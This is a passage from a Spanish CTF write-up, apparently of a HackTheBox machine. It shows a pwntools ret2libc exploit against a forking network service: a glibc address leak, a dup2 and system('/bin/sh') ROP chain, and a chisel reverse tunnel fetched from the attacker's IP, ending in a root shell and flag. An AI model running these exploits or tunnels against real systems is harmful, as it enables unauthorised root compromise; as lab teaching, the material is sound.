payload = junk
payload += canary
payload += saved_rbp
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(socket_fd)
payload += p64(rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0])
payload += p64(elf.got.send)
payload += p64(0)
payload += p64(rop.find_gadget(['pop rdx', 'ret'])[0])
payload += p64(8)
payload += p64(elf.plt.write)
with context.local(log_level='CRITICAL'):
p = get_process()
p.sendlineafter(b'admin:\n', payload)
send_addr = u64(p.recv().ljust(8, b'\0'))
glibc.address = send_addr - glibc.symbols.send
p.close()
log.success(f'Leaked send() address: {hex(send_addr)}')
log.success(f'Glibc base address : {hex(glibc.address)}')
Y así, obtenemos la fuga de memoria y podemos calcular la dirección base de Glibc (restando el offset de send
):
$ python3 root_exploit.py 127.0.0.1:1337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary : 00a473852a55d816
[+] Saved $rbp: 00d42e79ff7f0000
[+] Saved $rip: 6265406add550000
[+] ELF base address: 0x55dd6a405000
[*] Loaded 15 cached gadgets for 'contact'
[+] Leaked send() address: 0x7f86cf406c30
[+] Glibc base address : 0x7f86cf2e4000
De nuevo, como comprobación, tenemos que verificar que la dirección base de Glibc termina en 000
en hexadecimal.
El offset de send
en Glibc se puede obtener manualmente como sigue (offset 0x122c30
):
$ readelf -s libc.so.6 | grep send$
4239: 0000000000122c30 185 FUNC LOCAL DEFAULT 13 __libc_send
5010: 0000000000122c30 185 FUNC LOCAL DEFAULT 13 __GI___send
6755: 0000000000122c30 185 FUNC WEAK DEFAULT 13 send
7504: 0000000000122c30 185 FUNC GLOBAL DEFAULT 13 __send
En este punto, solamente queda realizar el ataque ret2libc, que es básicamente llamar a system("/bin/sh)
para conseguir una shell. Como tenemos la dirección base de Glibc, podemos calcular las direcciones de system
y "/bin/sh"
en tiempo de ejecución usando los offsets correspondientes (0x4f440
y 0x1b3e9a
, respectivamente):
$ readelf -s libc.so.6 | grep system$
504: 000000000004eeb0 1200 FUNC LOCAL DEFAULT 13 do_system
6032: 000000000004f440 45 FUNC WEAK DEFAULT 13 system
6696: 000000000004f440 45 FUNC GLOBAL DEFAULT 13 __libc_system
$ strings -atx libc.so.6 | grep /bin/sh
1b3e9a /bin/sh
No obstante, esta técnica solo funciona en un reto típico de ret2libc. Esta vez, si usamos este procedimiento, la shell se abrirá en el lado servidor. Para poder conseguir una shell interactiva, tenemos que duplicar los descriptores de archivo, de manera que stdin
(descriptor de archivo 0
), stdout
(descriptor de archivo 1
) y stderr
(descriptor de archivo 2
) ase copian al descriptor de archivo del socket (que es 4
). Esta operación se puede hacer con dup2
de Glibc, que recibe como primer argumento el descriptor de archivo antiguo y como segundo argumento el descriptor de archivo nuevo. La idea de esto es mapear 4
-> 0
, 4
-> 1
y 4
-> 2
. Entonces, la ROP chain se hace un poco más larga.
Este es el offset de dup2
en Glibc (0x1109a0
):
$ readelf -s libc.so.6 | grep dup2$
3623: 00000000001109a0 33 FUNC LOCAL DEFAULT 13 __GI___dup2
3726: 00000000001109a0 33 FUNC LOCAL DEFAULT 13 __GI_dup2
5583: 00000000001109a0 33 FUNC WEAK DEFAULT 13 dup2
5595: 00000000001109a0 33 FUNC GLOBAL DEFAULT 13 __dup2
Y esta es la ROP chain completa para obtener una shell (he usado la propia Glibc para conseguir gadgets de ROP también):
rop = ROP([elf, glibc])
payload = junk
payload += canary
payload += saved_rbp
for fd in [0, 1, 2]:
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(socket_fd)
payload += p64(rop.find_gadget(['pop rsi', 'ret'])[0])
payload += p64(fd)
payload += p64(glibc.symbols.dup2)
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(glibc.symbols.system)
with context.local(log_level='CRITICAL'):
p = get_process()
p.sendlineafter(b'admin:\n', payload)
print()
p.interactive()
Y obtenemos una shell interactiva en nuestro entorno local:
$ python3 root_exploit.py 127.0.0.1:1337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary : 00a473852a55d816
[+] Saved $rbp: 00d42e79ff7f0000
[+] Saved $rip: 6265406add550000
[+] ELF base address: 0x55dd6a405000
[*] Loaded 15 cached gadgets for 'contact'
[+] Leaked send() address: 0x7f86cf406c30
[+] Glibc base address : 0x7f86cf2e4000
[*] Loaded 198 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ whoami
rocky
$ ls
contact
contact_patched
fmtstr_exploit.py
httpserver
ld-linux-x86-64.so.2
libc-2.27.so
libc.so.6
root_exploit.py
Ya va siendo hora de lanzar el exploit en remoto.
Reenvío de puertos
Como el binario está corriendo localmente en 127.0.0.1:1337
, tendremos que usar un reenvío de puertos. Esto se puede realizar con chisel
:
r4j@rope:/tmp$ wget -q 10.10.17.44/chisel
r4j@rope:/tmp$ chmod +x chisel
r4j@rope:/tmp$ ./chisel client 10.10.17.44:1234 R:31337:127.0.0.1:1337
client: Connecting to ws://10.10.17.44:1234
client: Connected (Latency 32.402246ms)
$ ./chisel server -p 1234 --reverse
server: Reverse tunnelling enabled
server: Fingerprint FLlc9PM/TqWSYH1qDJuLl55hSejclXF+Nik/RhshHrc=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:31337=>1337: Listening
Después de algunos minutos de fuerza bruta, finalmente obtendremos una shell como root
:
$ python3 root_exploit.py 127.0.0.1:31337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary : 00fbee3a3e3cc553
[+] Saved $rbp: 503afae5fc7f0000
[+] Saved $rip: 62750eaf8e550000
[+] ELF base address: 0x558eaf0e6000
[*] Loaded 15 cached gadgets for 'contact'
[+] Leaked send() address: 0x7f0645e13c30
[+] Glibc base address : 0x7f0645cf1000
[*] Loaded 198 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ whoami
root
$ cat /root/root.txt
9d184e53053f4678beb271e733de867e
El exploit completo se puede encontrar aquí: root_exploit.py
.